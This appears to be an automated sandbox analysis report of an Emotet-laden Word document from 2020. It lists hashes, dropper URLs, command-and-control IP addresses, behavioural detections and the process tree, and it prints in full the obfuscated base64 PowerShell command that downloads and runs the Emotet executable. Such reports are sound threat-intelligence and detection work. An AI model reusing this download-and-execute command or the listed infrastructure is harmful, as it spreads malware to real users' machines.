Analysis
- max time kernel
135s - max time network
154s - platform
windows10_x64 - resource
win10 - submitted
20/08/2020, 10:08
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_c2860e92b00a96df1031b68a98c104f55bfdc472da83ab5c7d4ebfada4a70383_2020-08-20__100741._doc.doc
Resource
win7v200722
General
- Target emotet_e3_c2860e92b00a96df1031b68a98c104f55bfdc472da83ab5c7d4ebfada4a70383_2020-08-20__100741._doc.doc
- Size 189KB
- Sample200820-yhdzbr2sae
- SHA256 c2860e92b00a96df1031b68a98c104f55bfdc472da83ab5c7d4ebfada4a70383
- MD5 633ac8e1729b468c18e5ff27605921ed
- SHA1 2ce7ef85ec99f903f0518152dfed0c98cb6edff5
- SHA512 4ba88b9999109e275263fe1cd7c99cf7037cb747af2a8da8a2e47f01211a6244720861ba69dbe875e40386dfcb08de82029678d149015a8deabcb59c49af2a05
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
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exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
-
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
-
exe.dropper
https://grasplms.com/wp-content/n5824604/
-
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
-
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
-
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/
Extracted
-
emotet
-
173.94.215.84:80
-
85.25.207.108:8080
-
178.128.14.92:8080
-
60.125.114.64:443
-
181.126.54.234:80
-
157.7.164.178:8081
-
95.216.205.155:8080
-
216.75.37.196:8080
-
179.62.238.49:80
-
71.57.180.213:80
-
172.96.190.154:8080
-
112.78.142.170:80
-
178.238.232.46:443
-
177.144.130.105:443
-
105.209.235.113:8080
-
46.105.131.68:8080
-
185.86.148.68:443
-
143.95.101.72:8080
-
75.127.14.170:8080
-
168.0.97.6:80
-
181.114.114.203:80
-
185.208.226.142:8080
-
201.235.10.215:80
-
177.32.8.85:80
-
37.46.129.215:8080
-
74.208.173.91:8080
-
190.212.140.6:80
-
202.5.47.71:80
-
41.185.29.128:8080
-
81.214.253.80:443
-
107.161.30.122:8080
-
46.32.229.152:8080
-
5.79.70.250:8080
-
115.79.195.246:80
-
113.161.148.81:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
185.142.236.163:443
-
118.70.15.19:8080
-
181.134.9.162:80
-
105.213.67.88:80
-
217.199.160.224:8080
-
192.210.217.94:8080
-
197.249.6.179:443
-
86.57.216.23:80
-
86.98.143.163:80
-
181.113.229.139:443
-
201.213.177.139:80
-
195.201.56.70:8080
-
172.105.78.244:8080
-
190.190.15.20:80
-
190.53.144.120:80
-
139.59.12.63:8080
-
87.106.231.60:8080
-
66.61.94.36:80
-
198.57.203.63:8080
-
177.37.81.212:443
-
192.241.220.183:8080
-
115.78.11.155:80
-
188.0.135.237:80
-
78.189.60.109:443
-
31.146.61.34:80
-
175.29.183.2:80
-
203.153.216.178:7080
-
181.137.229.1:80
-
188.251.213.180:443
-
177.94.227.143:80
-
192.163.221.191:8080
-
50.116.78.109:8080
-
197.221.158.162:80
-
139.99.157.213:8080
-
77.74.78.80:443
-
81.17.93.134:80
-
190.164.75.175:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 508 3872 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2116-13-0x0000000000710000-0x000000000071C000-memory.dmp emotet behavioral2/memory/2116-13-0x0000000000710000-0x000000000071C000-memory.dmp emotet behavioral2/memory/1488-16-0x00000000020A0000-0x00000000020AC000-memory.dmp emotet behavioral2/memory/1488-16-0x00000000020A0000-0x00000000020AC000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 12 508 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2116 Ijbtr_.exe 1488 threadpoolwinrt.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\dmdskres2\threadpoolwinrt.exe Ijbtr_.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3588 WINWORD.EXE 3588 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 508 powersheLL.exe 508 powersheLL.exe 508 powersheLL.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 508 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 2116 Ijbtr_.exe 2116 Ijbtr_.exe 1488 threadpoolwinrt.exe 1488 threadpoolwinrt.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 508 wrote to memory of 2116 508 powersheLL.exe 73 PID 508 wrote to memory of 2116 508 powersheLL.exe 73 PID 508 wrote to memory of 2116 508 powersheLL.exe 73 PID 2116 wrote to memory of 1488 2116 Ijbtr_.exe 76 PID 2116 wrote to memory of 1488 2116 Ijbtr_.exe 76 PID 2116 wrote to memory of 1488 2116 Ijbtr_.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c2860e92b00a96df1031b68a98c104f55bfdc472da83ab5c7d4ebfada4a70383_2020-08-20__100741._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3588
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\dmdskres2\threadpoolwinrt.exe"C:\Windows\SysWOW64\dmdskres2\threadpoolwinrt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1488
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-